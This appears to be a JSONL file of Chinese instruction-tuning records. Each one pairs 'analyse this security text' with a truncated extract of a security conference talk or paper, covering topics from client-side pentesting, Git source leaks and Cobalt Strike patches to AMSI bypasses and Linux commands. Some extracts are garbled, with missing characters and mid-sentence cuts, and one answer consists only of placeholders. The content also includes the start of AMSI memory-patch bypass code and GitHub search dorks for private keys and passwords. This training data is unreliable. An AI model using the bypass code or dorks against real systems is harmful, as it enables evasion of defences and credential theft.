been getting to the internal network via client-side attack, hacking the Security or IT staffs workstations via vulnerabilities in their browsers, mail clients, Acrobat and Office programs. These attacks have gotten easier for anyone with a copy of Core IMPACT, Metasploit, or hostile attacker toolkits. 5 Copyright 2008 Jay Beale Intelguardians, Inc. Hacking Acrobat Reader Our clients choose the scope of targeting, often allowing us to target only the Security staff. On a penetration test for a company about a year ago, we were allowed to target only one IT Security person. He was a tough cookie: IE7 and well-patched. We used every single client-side exploit. We compromised his machine with the last exploit, which targeted Acrobat Reader. But that was enough. You only need one. 6 Copyright 2008 Jay Beale Intelguardians, ", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWarBallooning  Kismet Wireless Eye in the Sky Presented by: Rick Hill DEFCON 16 Sunday, Aug. 10 WarBallooning Concept Thanks for coming! WarDriving limited visibility in the city $4.00 / Gallon gas means driving less Balloon  better platform than rocket Perfect for covering 5 - 10 mile Urban Areas Questions during talk welcome Project in a Nutshell Evolved from WarRocketing DC14 Good, Bad comparison WarBalloon components Hardware Hacks involved Network Layout & Security Flying the WarBalloon DEFCON 14 Evolved from WarRocketing DC14 DEFCON 16 New Platform: Balloon vs. Rocket The Rocket was a novel concept, but  Explosives permits reqd  Launch only in rural areas  Stumbling limited to parachute drift time Balloon  Helium cost $20/ lb. payload lift  More accepted by authorities  Still restricted near airports 1st Design Sketch  Traffic Cone Design Considerations All components light weight Low Power consumption Safety (H2 = Hindenburg) Wireless SW must be passive - Kismet Secure Network Hardware Components Balloon: Professional Aerial Photography WRT54G, v2 Dlink 5220 Security Camera Fiber Optic Transceivers Yagi Antenna, Omni Antenna Container: thank you Igloo Cooler Co! Software Components Kismet Server, Drone Talisman 1.3.6 Web Browser: Dlink 5220 view & control Suse Linux Flite Festival Speech Synthesis Sofware Kismac UNIX utilities: ssh v2, etc. HW / SW Hacks WRT54G  install Talisman, ssh, Kismet drone Move antenna connector Remove case Mount in Igloo Mini-Mate HW / SW Hacks WRT54G HW / SW Hacks DLink 5220 Camera  install antenna Igloo Mount HW / SW Hacks Fiber Optic Link Inherently Secure High Bandwidth Low Weight  50 meters / 1.5 lbs Use regular multimode fiber HW / SW Hacks Fiber Optic Transceiver  Case removal HW / SW Hacks Completed Payload IP Based Robotics DLINK 5220 consists of a CCD camera, web server, and pan & tilt controller As the Pan motor is quite strong, were using it to aim the high gain antenna @ stumbling targets Speed, camera focus, snapshots, ", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请解释缓冲区溢出的原理和防护方法", "input": "", "output": "缓冲区溢出是一种常见的网络安全威胁。攻击原理：[具体原理说明]。防护措施：1. [防护方法1] 2. [防护方法2] 3. [防护方法3]", "category": "security_knowledge", "source": "manual"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 Acquiring .NET Objects from the Managed Heap Topher Timzen Southern Oregon University Cybersecurity Research Lab F ABSTRACT This paper will describe how to use instantiated objects on the .NET CLR Managed Heap as if they were declared locally. It will be shown that by referencing an object pointer from the Managed Heap, an attacker can take control over any object being used in an application. Reflective techniques will be discussed and a signature will be introduced to find objects on the Managed Heap. 1 INTRODUCTION The .NET Framework uses the Common Lan- guage Runtime, CLR, to manage the execution of .NET programs. There are 4 major versions of the CLR available and multiple .NET versions within each [2]. | CLR Version | .NET Version | ||| | 1.0 | 1.0 | | 1.1 | 1.1 | | 2.0 | 2 . 0 , 3 . 0 , 3.5 | | 4.0 | 4 . 0 , 4.5 | For the purpose of this paper, only CLR versions 2.0 and 4.0 will be discussed as the author feels 1.0 and 1.1 are not relevant for attacking modern applications. Using Reflection [4] key information about an object can be discovered. A plethora of information in objects is useful for attacking or reverse engineering such as a list of fields, instance methods, static methods and variables that an object contains. Furthermore, once an object is locally accessible an attacker can ma- nipulate it in any way they want. Any object can be instantiated using reflec- tion. While that local reference is not neces- sarily usable by an attacker, it can be used to reveal both the signature of all objects of that class and the memory location of the Managed Heap, bypassing any Address Space Layout Randomization, ASLR. All instantiated objects from a specific class share the same Method Table (MT) pointer, which will be used later to locate objects on the Managed Heap. Once the MT for a specific class is known and the Managed Heap discovered, an attacker can scan through the Managed Heap to locate all objects instantiated from a specific class and use them locally. To ", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# DES (Crypto 500) ###ENG [PL](#pl-version) The general idea was simple - the authors used double encryption with DES and Blowfish and the task was to decode the message. The problems: * Authors used some shady website for encryption and not the ciphers directly. This website was adding random paddings and without knowing about it, there was no way to solve it. Fortunately this was released as a hint. * The authors for no apparent reason have given an example payload apart from the flag. This suggested a meet-in-the-middle attack using this payload, which was not a good approach, because the example payload was encrypted with different keys than the flag. * The calculations for this task were a bit time consuming due to key universum size. Seriously, there is no need to make a task where bruteforce is taking minutes to run on 8 paralell cores. It doesn't make the task any \"harder\", only more annoying. So what we have here is the encrypted flag: ``` AiEjLYxiRUlgG+OYaYje5HOwvS8UFegdXRrCsIiy6pBH67fDvGbLF/gtZihyW7WYVOrsi7/N1sgaVUBU/VW1NwEOrOhguZZfP5T7Gw88sMx9KFepLfsjOLPKKVUuMbVu6Lno0FJjbU+7ft1VtdsQhAh1Lc91SDcduoI3J1FwffwwEwy1L7FKjg14LZ9fgaMF5c43T8avL+bpOBDFHiPzK1Mwv4ftVt6k5UV13cPV3VLm+Jx7Q/7LLamyQLLUU0O1pcKZOHi7oYPngpFh7VmIPIJwCsmoCAyt8+yC/uqNgpfUoD0SHfG7tvz7F8sZKL6RfezLvFN++8B+rs+6AGOiSHCmnGbO4PNcOdZfWP4lYZQRIZ/DTN4ntg== ``` And we know that the flag was encrypted first with DES with padding, the data were transformed into base64 and this was encrypted again with Blowfish with padding and it was encoded as base64. We also know that both keys are in the range 0-9999999. So we run bruteforce first on the outer layer - to decode Blowfish and take all proper base64 results as potential hits. And then we take those results and try to decode them with DES to look for the flag. There is slim chance that such long payload decoded with improper Blowfish key would give us base64 string, and in fact we got only a single hit there. So we run the bruteforecer: ```python import base", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2015.11 by phithon 被Git打破的 企業安全大門 Who am I  phith0n  乌云核心白帽子/XDSEC成员  从事Web安全/运维安全研究 What is GIT 刪除 增加 增加 phithon@fake-demo:~$ git add . phithon@fake-demo:~$ git commit Finish Git是一个分布式版本控制软件 在开发中运用git可以方便地进行团队协作敏捷开发 GIT与信息安全  Github造成的企业敏感信息泄露  web目录/.git/访问造成的源码泄露  内网Git未授权访问造成敏感信息泄露  Github造成的企业敏感信息泄露  web目录/.git/访问造成的源码泄露  内网Git未授权访问造成敏感信息泄露 当最單純的人遇上了最邪惡的人 案例 / 某电商宁手机客户端源码泄露 案例 / 某电商宝内网邮箱泄露导致漫游 http://www.wooyun.org/bugs/wooyun-2014-062243 Github Hacking Skill  关键词搜索: password@domain.comsaltBEGIN RSA PRIVATE KEYsmtp  @domain-inc.com in:file 在所有代码中搜索内网邮箱  id_rsa in:path 获得结果18534个  password language:yaml 获得结果784327个  password size:<100 language:php 利用常见情况搜索  smtp file:config extension:php 组合条件搜索  include($_GET[]); 搜索可能存在任意文件包含漏洞的代码  开源诚可贵安全价更高  对密码的敏感性  .gitignore的重要性  Github造成的企业敏感信息泄露  web目录/.git/访问造成的源码泄露  内网Git未授权访问造成敏感信息泄露  Github造成的企业敏感信息泄露  web目录/.git/访问造成的源码泄露  内网Git未授权访问造成敏感信息泄露 从GIT原理講起 为什么我们能够从泄露的.git目录还原出网站源 码 git init git add . git commit 1创建.git目录 2初始化.git目录写入config等文件 3为每一个改动的文件目录创建git object 4建立commit类型objects 5更新HEAD指向的revision git objects文件格式 git objects文件格式 blob blob 25\\x00This is the README file.\\n tree tree 192\\0 40000 admin\\0 a84943494657751ce187be401d6bf59ef7a2583c 40000 static\\0 14f589a30cf4bd0ce2d7103aa7186abe0167427f 40000 core\\0 ec559319a263bc7b476e5f01dd2578f255d734fd 100644 index.php\\0 97e5b6b292d248869780d7b0c65834bfb645e32a 40000 application\\0 6e63db37acba41266493ba8fb68c76f83f1bc9dd git objects還原 方法2 读取并解析objects从blob中提取源文件 方法3 解析并依次下载objects执行git reset还原源文件 方法1 读取并解析.git/index依次下载所有文件 最優 git  ls-tree    列出tree对象的所有子对象 方法3 解析并依次下载objects执行git reset还原源文件 git  cat-file  -p    列出blob对象的内容 git  reset  还原整个GIT环境较其他两法的优势 找到commit id 找到并下载tree 下载blob git reset 恢复源文件 GitRefs 运行演示 http://v.qq.com/ page/y/e/l/ y0171fyrxel.htm l 案例  WooYun-2015-133666 百度某站漏洞导致敏感信息泄 露Getshell(涉及至少66W+的用户数据含密码可内网)  WooYun-2015-121319 PHP官方多个分站存在git信息 泄露可读取大量程序源码  WooYun-2015-117925 盛大某站源码泄露Getshell直 入内网  WooYun-2015-114272 百度从git信息泄露到getshell 漫游内", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAll your family secrets belong to us - Worrisome security issues in tracker apps Siegfried Rasthofer | Fraunhofer SIT, Germany Stephan Huber | Fraunhofer SIT, Germany DefCon26, August 11th 2018 Who are we?  Head of Department Secure Software Engineering  PhD, M.Sc., B.Sc. in computer science  Static and Dynamic Code Analysis  Founder of @TeamSIK and @CodeInspect  Security Researcher @Testlab Mobile Security  Code Analysis Tool development  IOT Stuff  Founder of @TeamSIK Siegfried Stephan 2 Who are we?  Head of Department Secure Software Engineering  PhD, M.Sc., B.Sc. in computer science  Static and Dynamic Code Analysis  Founder of @TeamSIK and @CodeInspect  Security Researcher @Testlab Mobile Security  Code Analysis Tool development  IOT Stuff  Founder of @TeamSIK Siegfried Stephan (creds to: Alex, Daniel, Julien, Julius, Michael, Philipp, Steven, Kevin, Sebald, Ben) 3 Team 4 Beer Announcement 5 Agenda 6  Introduction/Motivation  Background Information  Bad Client-Side Checks with SharedPreferences  Client-Side and Communication Vulnerabilities  Server-Side Vulnerabilities  Responsible Disclosure Process  Summary Agenda 7  Introduction/Motivation  Background Information  Bad Client-Side Checks with SharedPreferences  Client-Side and Communication Vulnerabilities  Server-Side Vulnerabilities  Responsible Disclosure Process  Summary Surveillance - Then 1960: Radio receiver inside pipe 1960: Camera inside a pack of cigarettes 1970: Microphone inside a dragonfly 1990: Microphone inside a fake catfish * Source: http://www.businessinsider.com/ 8 Surveillance - Now 9 Sypware/RAT Surveillance - Now 10 Benign Reasons? Sypware/RAT Surveillance - Now 11 Benign Reasons? Family Couple Friends Good vs. Bad 12 Family Couple Friends Sypware/RAT Surveillance - Apps 13 Google PlayStore Android Security Report 2017 Surveillance - Apps 14 Google PlayStore *Android Security Report 2017 15 How well are the tracking data protected? 16 App Name GooglePlay Downloads Couple1Tracker1App 5-10", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 Cobalt Strike快乐星球 前 快乐星球 Patch CVE-2021-36798 漏洞描述 漏洞影响范围 漏洞成因分析 漏洞缓解案 修复效果验证 Patch CVE-2022-23317 漏洞描述 漏洞影响范围 漏洞复现 漏洞缓解案 修复效果验证 Bypass beacon-eye 绕过原理 绕过BeaconEye 测试效果 Modify xor key Modify team server authentication header Beauty UI Bypass 360 Setchar 出现问题 修复过程 实现效果 破解补丁 使法 2 下个版本 参考资料 感谢<<安全的与盾>>星球佬让我嫖了许多东知识思路等等没有这些嫖不可能完 成快乐星球的构建本是个脚本佬们轻喷 CS <= 4.3 漏洞存在在beacon.BeaconC2.process_beacon_callback_decrypted中对beacon端发送过来的任 务处理结果的度进判断直接按照beacon端的结果进分配内存导致teamserver端崩溃 前 快乐星球 Patch CVE-2021-36798 漏洞描述 漏洞影响范围 漏洞成因分析 3 该函数为common.DataParser.readCountedBytes 可以看到readCountedBytes函数先读取个4字节的数据并转换为int类型然后根据这个int类 型的变量申请内存buffer来读取接下来的数据这就存在个问题如果攻击者可以控制这个4字节 的数据就可以控制接下来申请的buffer的度从导致teamserver端申请过内存导致陷僵死 之所以叫做缓解案是因为并没有真正的修复是对beacon为进了判断限制如果是新 session拒绝其直接发送截屏和键盘记录的结果之所以只对这俩分进判断是因为只有这俩分 调了readCountedBytes这个函数判断的关键代码为denyFirstAttack 漏洞缓解案 4 data.isNewSession判断当前任务队列是否包含该session如果没有就直接发任务处 理数据那这就存在问题 然后就是把这段判断放到截屏和键盘记录处理分 Java 复制代码 private byte[] denyFirstAttack(String var1, DataInputStream var4, int var16) { byte[] var17; if (this.data.isNewSession(var1)) { this.getCheckinListener().output(BeaconOutput.Error(var1, \"Dropped responses from session. Didn't expect \" + var16 + \" prior to first task.\")); CommonUtils.print_error(\"Dropped responses from session \" + var1 + \" [type: \" + var16 + \"] (no interaction with this session yet)\"); return null; } var17 = CommonUtils.readAll(var4); return var17; } 1 2 3 4 5 6 7 8 9 10 5 这贴下4.3版本的验证效果 未修复前使poc测试https://github.com/M-Kings/CVE-2021-36798 修复效果验证 6 可以看到直接把teamserver打宕机了 修改完后再测试防护效teamserver没有崩溃 CS <= 4.5 beacon.http-get Patch CVE-2022-23317 漏洞描述 漏洞影响范围 漏洞复现 7 beacon.http-post stager 8 stager64 漏洞缓解案 9 对请求uri进判断不是/开头都直接返回400 Bad Request具体修复位置在 cloudstrike.WebServer._serce beacon.http-get beacon.http-post 修复效果验证 Java 复制代码 if (!(uri.startsWith(\"/\"))) { return this.processResponse(uri, method, header, param, false, null, new Response(\"400 Bad Request\", \"text/plain\", \"\")); } 1 2 3 4 10 stager stager64 Bypass beacon-eye 11 绕过原理这简单记录下cs在填充profile数", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n赛博回忆录星球出品仅供小范围技术交流请勿拿去随意攻击 赛博回忆录星球出品仅供小范围技术交流请勿拿去随意攻击 欢迎关注公众号赛博回忆录 抓包看看 闭合 username 进行赛勃 fuzz发现用反引号执行`命令`可导致返回包执行相关命令 赛博成功反弹 shell 发现网上存在补丁塞博版本以及无补丁版本以上均为补丁情况下现在分析无补丁的 无补丁的使用单引号 -V 返回以下结果执行了 grep -V 赛博回忆录星球出品仅供小范围技术交流请勿拿去随意攻击 赛博回忆录星球出品仅供小范围技术交流请勿拿去随意攻击 有补丁的使用单引号 -V 则返回以下结果 以下为执行 grep 处的 sh 源码 关键执行命令语句 赛博回忆录星球出品仅供小范围技术交流请勿拿去随意攻击 赛博回忆录星球出品仅供小范围技术交流请勿拿去随意攻击 以下为未补丁后的登录 login.js 源码 以下为补丁后的 login.js 登录 sb 源码 更新补丁后对单引号进行过滤但代码未对反引号``进行过滤从而导致命令执行的情况发 生修复治标不治本", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n從初出茅廬到破解大師 我的 14 年駭客生涯回顧 Orange Tsai Orange Tsai  Principal security researcher at and captain of HITCON CTF team, focusing on Web/App 0-day research  Speaker of top hacker conferences: Black Hat USA, DEFCON, HITB, HITCON  2019 Pwnie Awards, \"Best Server-Side Bug\" winner  2021 Pwn2Own champion 幼年期 成熟期 完全體 成長期 究極體 幼年期 (2002 ~ 2007) 1. 如何開始接觸電腦? 2. 如何開始接觸駭客?  天才駭客新聞... 帥爆了 \"最佳解答\" 還是錯的... 幼年期 (2002 ~ 2007) 1. 如何開始接觸電腦? 2. 如何開始接觸駭客?  天才駭客新聞... 帥爆了 成長期 (2007 ~ 2009)  Re: 從零開始的駭客生活 1. 開放世界的遊戲探索 2. 從獨自學習到走入團體 - NISRA 3. 廢寢忘食只為了求解答 - Hacker Challenge 成長期 (2007 ~ 2009)  Re: 從零開始的駭客生活 1. 開放世界的遊戲探索 2. 從獨自學習到走入團體 - NISRA 3. 廢寢忘食只為了求解答 - Hacker Challenge 成長期 (2007 ~ 2009)  Re: 從零開始的駭客生活 1. 開放世界的遊戲探索 2. 從獨自學習到走入團體 - NISRA 3. 廢寢忘食只為了求解答 - Hacker Challenge 把公式整頁抄下來跑去問數學老師... 駭客年會: 第一次有高中生得到名次!? !(ﾟДﾟノ) 第一次有高中生拿到冠軍!? 成熟期 (2009 ~ 2013)  如何獲得更多的認同感?  外在認同感: 刻意訓練演講能力  整理過的資料才是資訊  有辦法解釋的才是知識  自我認同感: 我好像有點強好奇自己的極限在哪裡?  挑戰還有哪裡我進不去?  出事了阿伯 PHP CONF 2013 - 矛盾大對決 能入侵任何網站的駭客 vs. 絕對不會被入侵的網站 成熟期 (2009 ~ 2013)  如何獲得更多的認同感?  外在認同感: 刻意訓練演講能力  整理過的資料才是資訊  有辦法解釋的才是知識  自我認同感:我好像有點強好奇自己的極限在哪裡?  挑戰還有哪裡我進不去  出事了阿伯 完全體 (2014 ~ 2018)  對於駭客技術的追求要往哪發洩? ...CTF!  技術愛好者的天堂  追逐成就感  承認永遠有比你天才的人... 完全體 (2014 ~ 2018)  對於駭客技術的追求要往哪發洩? ...CTF!  技術愛好者的天堂  追逐成就感  承認永遠有比你天才的人... Dead End on Web Part - 余弦 (EvilCos) 哪怕再小, 也要讓自己成為某一點的 No.1 究極體 (2017 ~ Now)  眼界放大到世界莫名產生的使命感  站上世界讓世界看到台灣!  有哪些人才是我能幫忙的?  年年都要超越去年的自己陷入為了找漏洞而找的泥沼  別人(花時間)也能找到的漏洞真的是我的目標嗎?  當工具人花時間幫廠商做 QA 不覺得很無聊嗎?  用既有招式找漏洞 vs. 創造一整個新的流派 究極體 (2017 ~ Now)  眼界放大到世界莫名產生的使命感  站上世界讓世界看到台灣!  有哪些人才是我能幫忙的?  年年都要超越去年的自己陷入為了找漏洞而找的泥沼  別人(花時間)也能找到的漏洞真的是我的目標嗎?  當工具人花時間幫廠商做 QA 不覺得很無聊嗎?  用既有招式找漏洞 vs. 創造一整個新的流派 你會不會有一天不做資安 當你的動機只是因為有趣出現更有趣的東西時馬上就被吸引走 我則是來自於不同階段目標的累加怎麼覺得我會放棄資安 Dead End on Web Part - ????? 駭客是終生職 結語  變強公式: 1. 找到動機 2. 刻意挑戰 N+1 3. 解決: 獲得樂趣與成就感 4. 失敗: 檢討問題反思下一次如何避免失誤  推薦閱讀系列文:  (知乎 ZhiHu) 懶人在思考 by @Evilcos (余弦)  (CoderBridge) 成為專家之路 by @Po-Jen  (Medium) 關於變強這檔事 by @fchern 找出 \"能解\" 與 \"不能解\" 的差異 orange_8361 orange@chroot.org Thanks! https://blog.orange.tw", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBypass AMSI的前世今生(4) - 非主流合集 0x00 前言 分析完了[BA1-4]我相信大家对AMSI已经有了不错的认知也能够利用混淆bypass AMSI了今天我 们讨论的是非主流的bypass amsi的合集也就是[BA5-8]分别如下 [BA5] 卸载当前进程中的amsi.dll [BA6] PowerShell.exe同目录下放入傀儡amsi.dll劫持正常amsi.dll正常amsi.dll存在于 c:\\windows\\system32\\amsi.dll [BA7] Null字符绕过 [BA8] COM Server劫持劫持杀软接入接口 这些方法曾今都能起到bypass AMSI作用但是很鸡肋其中[BA5]实际测试的时候是不行的 powershell进程要崩溃其它有的早已修复 既然有非主流那么主流手法有哪些呢这里提一下目前主流好用的手法为2种第一种我们已经在 Bypass AMSI的前世今生(3) - 脚本混淆和一行命令关闭AMSI种提到的混淆+一行命令另外一种就 是内存补丁将在下一节讲到 这一节我们先来测试一遍这4个非主流手法以及他的思路 0x01 卸载当前进程中的amsi.dll 在前面的文章中我们知道amsi其实是以dll形式存在的powershell启动的时候会加载amsi.dll然 后调用其中的AmsiScanString或AmsiScanBuffer函数来进行检测在部分老的win10系统中使用的是 AmsiScanString较新的系统使用的是AmsiScanBuffer大约分界线是1709 因此我们就有了对抗思路我们能不能unload amsi.dll呢这样amsi.dll不存在了就不能检测到了 答案是不行的这样太暴力了我们深入想我们unload amsi.dllpowershell使用 AmsiOpenSession的时候函数指针指向的位置不是真正的AmsiOpenSession代码就会崩溃我们 虽然unload了amsi.dll但是我们的powershell进程也崩了2败俱伤我们使用process hacker工具来 测试下 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-30 No. 1 / 7 - Welcome to www.red-team.cn 调用AmsiOpenSession的时候直接就崩溃了因此这种暴力unload的方法是不行的既然unload不 行我们来看看劫持amsi.dll 0x02 劫持amsi.dll PowerShell.exe同目录下放入傀儡amsi.dll劫持正常amsi.dll正常amsi.dll存在于 c:\\windows\\system32\\amsi.dll这个都不用过多解释常规的dll劫持技术由于研发人员使用 LoadLibrary函数导入dll的时候没有使用绝对路径因此程序会首先在当前目录下寻找dll因此我们在 powerShell.exe同目录下放一个amsi.dll做劫持但是win7以上也可以修改注册表强制加载system32 下的dll具体的详情可以阅读官方文档https://docs.microsoft.com/en-us/windows/win32/dlls/d ynamic-link-library-search-order 劫持amsi.dll有2个问题 怎么放置傀儡amsi.dll也就是放置在哪个目录 amsi.dll要导出哪些函数不导出amsi.dll本身的函数会导致和unload一样的问题使得 powershell不能工作了 解决第一个问题 我们通过process Monitor来观察下powershell.exe对amsi.dll的加载顺序我们过滤powershell.exe进 程名来观察下 我们来看看powershell先在如下目录去寻找amsi.dll没有找到然后再去system32目录下 位置是找到了我们来解决第二个问题 C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0 .0.0__31bf3856ad364e35\\ C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\ Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-30 No. 2 / 7 - Welcome to www.red-team.cn 解决第二个问题 第二个问题也是很好解决的官方给了api文档我们抄一抄就好了但是呢第一篇我们说过了官方 文档也是不全的文档比较老了目前新的a", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBypass AMSI的前世今生(5) - 内存补丁 0x00 前言 内存补丁是目前bypass amsi最常用的技术之一通过前几篇文章我们已经知道AMSI检测相关API的调 用顺序 我们还是以powershell为例当我们打开powershell.exepowershell.exe会加载 System.Management.Automation.dll此dll会调用amsi.dll因此我们只要分析清楚这2个dll里面的函 数调用和判断逻辑就能在合适的地方修改判断逻辑使得程序判断结果为我们指定的结果 0x01 流程分析 我们先使用ILSpy反编译System.Management.Automation.dll在AmsiUtils中是amsi相关的函数 不难看出AmsiUtils里面的大部分逻辑是调用amsi里面的函数处理的我们关注AmsiUtils.ScanContent 函数里面包含的amsi扫描的完整逻辑首先如下图所示 AmsiInitialize  初始化AMSI API. AmsiOpenSession  打开session AmsiScanBuffer  scans the user-input. AmsiCloseSession  关闭session AmsiUninitialize  删除AMSI API Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 1 / 10 - Welcome to www.red-team.cn 是不是有点眼熟amsiInitFailed也就是一句话bypass amsi的原理所在我们只需要让这个变量为 True就可以bypass我们继续往下阅读代码 注意这几个逻辑都可以让程序直接返回AMSI_RESULT_NOT_DETECTED最后我们的关注点就是 hresult只要让它小于0我们就能bypass amsi而hresult为amsi.dll里函数的返回值因此我们到 amsi.dll里面去想办法通过上面的分析我们能够在AmsiInitializeAmsiOpenSession AmsiScanBuffer这3个函数中patch都可以达到bypass amsi的效果我们先来测试AmsiInitialize Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 2 / 10 - Welcome to www.red-team.cn 我们在amsi!AmsiInitialize上下了断点并没有断下来原因是初始化函数在powershell启动的时候就调 用了后面将不再调用 因此amsi!AmsiInitialize不是一个好的打补丁的位置我们接着看AmsiOpenSession经过测试 AmsiOpenSessionAmsiScanBuffer是可以的我们反汇编看下这2个函数 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-18 No. 3 / 10 - Welcome to www.red-team.cn 其实都不用看这2个函数直接打补丁让返回值小于0就OK了 0x02 利用 我们还是从一段利用代码开始 $p=@\" using System; using System.Linq; using System.Runtime.InteropServices; public class Program { [DllImport(\"kernel32\")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(\"kernel32\")] public static extern IntPtr LoadLibrary(string name); [DllImport(\"kernel32\")] public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect); public static void Bypass() { String a = \"isma\"; String b = \"reffuBnacSismA\"; IntPtr lib = LoadLibrary(String.Join(\"\", a.Reverse().ToArray()) + \".dll\"); IntPtr ad", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 包管理 --- **软件包是什么** 软件包这个概念是用来解决在软件安装升级过程中的复杂性的包将软件安装升级中需要的多个数据文件合并成一个单独的文件这将便于传输和通过压缩文件来减小存储空间包中的二进制可执行文件已根据开发者所选择的编译标识预编译包本身包括了所有需要的元数据如软件的名字软件的说明版本号以及要运行这个软件所需要的依赖包等等 不同流派的 Linux 发行版都创造了它们自己的包格式其中最常用的包格式有 - .deb这种包格式由 DebianUbuntuLinux Mint 以及其它的变种使用这是最早被发明的包类型 - .rpm这种包格式最初被称作红帽包管理器LCTT 译注 取自英文的首字母使用这种包的 Linux 发行版有 Red HatFedoraSUSE 以及其它一些较小的发行版 - .tar.xz这种包格式只是一个软件压缩包而已这是 Arch Linux 所使用的格式 尽管上述的包格式自身并不能直接管理软件的依赖问题但是它们的出现将 Linux 软件包管理向前推进了一大步 **为什么要有包管理工具** 今天每个可计算设备都会使用某种软件来完成预定的任务在软件开发的上古时期为了找出软件中的虫和其它缺陷软件会被严格的测试在近十年间软件被通过互联网来频繁分发以试图通过持续不断的安装新版本的软件来解决软件的缺陷问题在很多情况下每个独立的应用软件都有其自带的更新器而其它一些软件则让用户自己去搞明白如何获取和升级软件 Linux 较早采用了维护一个中心化的软件仓库来发布软件更新这种做法用户可以在这个软件仓库里查找并安装软件 **那么在包管理器出现之前在 Linux 上是如何安装软件的呢** 曾几何时软件都是通过 FTP 或邮件列表来分发的最终这些发布方式在互联网的迅猛发展下都演化成为一个个现今常见的软件发布网站一般在一个 tar 文件中只有一个非常小的文件包含了创建二进制的说明你需要做的是先解压这个包然后仔细阅读当中的 README 文件 如果你的系统上恰好有 GCC或者其它厂商的 C 编译器的话你得首先运行 ./configure 脚本并在脚本后添加相应的参数如库函数的路径创建可执行文件的路径等等除此之外这个配置过程也会检查你操作系统上的软件依赖是否满足安装要求如果缺失了任何主要的依赖该配置脚本会退出不再继续安装直到你满足了该依赖如果该配置脚本正常执行完毕将会创建一个 Makefile 文件 当有了一个 Makefile 文件时 你就可以接下去执行 make 命令该命令由你所使用的编译器提供make 命令也有很多参数被称为 make 标识这些标识能为你的系统优化最终生成出来的二进制可执行文件在计算机世界的早期这些优化是非常重要的因为彼时的计算机硬件正在为了跟上软件迅速的发展而疲于奔命今日今时编译标识变得更加通用而不是为了优化哪些具体的硬件型号这得益于现代硬件和现代软件相比已经变得成本低廉唾手可得 最后在 make 完成之后 你需要运行 make install 或 make install 来真正将这个软件安装到你的系统上可以想象为你系统上的每一个软件都执行上述的流程将是多么无聊费时更不用说如果更新一个已经安装的软件将会多复杂多么需要精力投入 **软件仓库到底是什么** 多年以前当智能电话还没有像现在这样流行时非 Linux 世界的用户是很难理解软件仓库的概念的甚至今时今日大多数完全工作在 Windows 下的用户还是习惯于打开浏览器搜索要安装的软件或升级包下载然后安装但是智能电话传播了软件商店这样一个概念智能电话用户获取软件的方式和包管理器的工作方式已经非常相近了些许不同的是尽管大多数软件商店还在费力美化它的图形界面来吸引用户大多数 Linux 用户还是愿意使用命令行来安装软件总而言之软件仓库是一个中心化的可安装软件列表上面列举了在当前系统中预先配置好的软件仓库里所有可以安装的软件下面我们举一些例子来说在各个不同的 Linux 发行版下如何在对应的软件仓库里搜寻某个特定的软件输出有截断 --- ## apt 和 apt-get apt 的全称是 Advanced Packaging Tool 是 Linux 系统下的一款安装包管理工具. **apt 和 apt-get 命令之间的区别** 没啥区别,建议使用 apt **PPA** PPA 表示个人软件包存档 软件仓库是一组文件其中包含各种软件及其版本的信息以及校验和等其他一些详细信息每个版本的 Ubuntu 都有自己的四个官方软件仓库 - Main - Canonical 支持的自由开源软件 - Universe - 社区维护的自由开源软件 - Restricted - 设备的专有驱动程序 - Multiverse - 受版权或法律问题限制的软件 见此 http:/", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nservice === 控制系统服务的实用工具 ## 补充说明 **service命令** 是Redhat Linux兼容的发行版中用来控制系统服务的实用工具它以启动停止重新启动和关闭系统服务还可以显示所有系统服务的当前状态 ### 语法 ```shell service(选项)(参数) ``` ### 选项 ```shell -h显示帮助信息 --status-all显示所服务的状态 ``` ### 参数 * 服务名自动要控制的服务名即`/etc/init.d`目录下的脚本文件名 * 控制命令系统服务脚本支持的控制命令 ### 实例 当修改了主机名ip地址等信息时经常需要把网络重启使之生效 ```shell service network status 配置设备 lo eth0 当前的活跃设备 lo eth0 service network restart 正在关闭接口 eth0 [ 确定 ] 关闭环回接口 [ 确定 ] 设置网络参数 [ 确定 ] 弹出环回接口 [ 确定 ] 弹出界面 eth0 [ 确定 ] ``` 重启mysql ```shell service mysqld status mysqld (pid 1638) 正在运行... service mysqld restart 停止 MySQL [ 确定 ] 启动 MySQL [ 确定 ] ```", "category": "text_analysis", "source": "security_papers"}
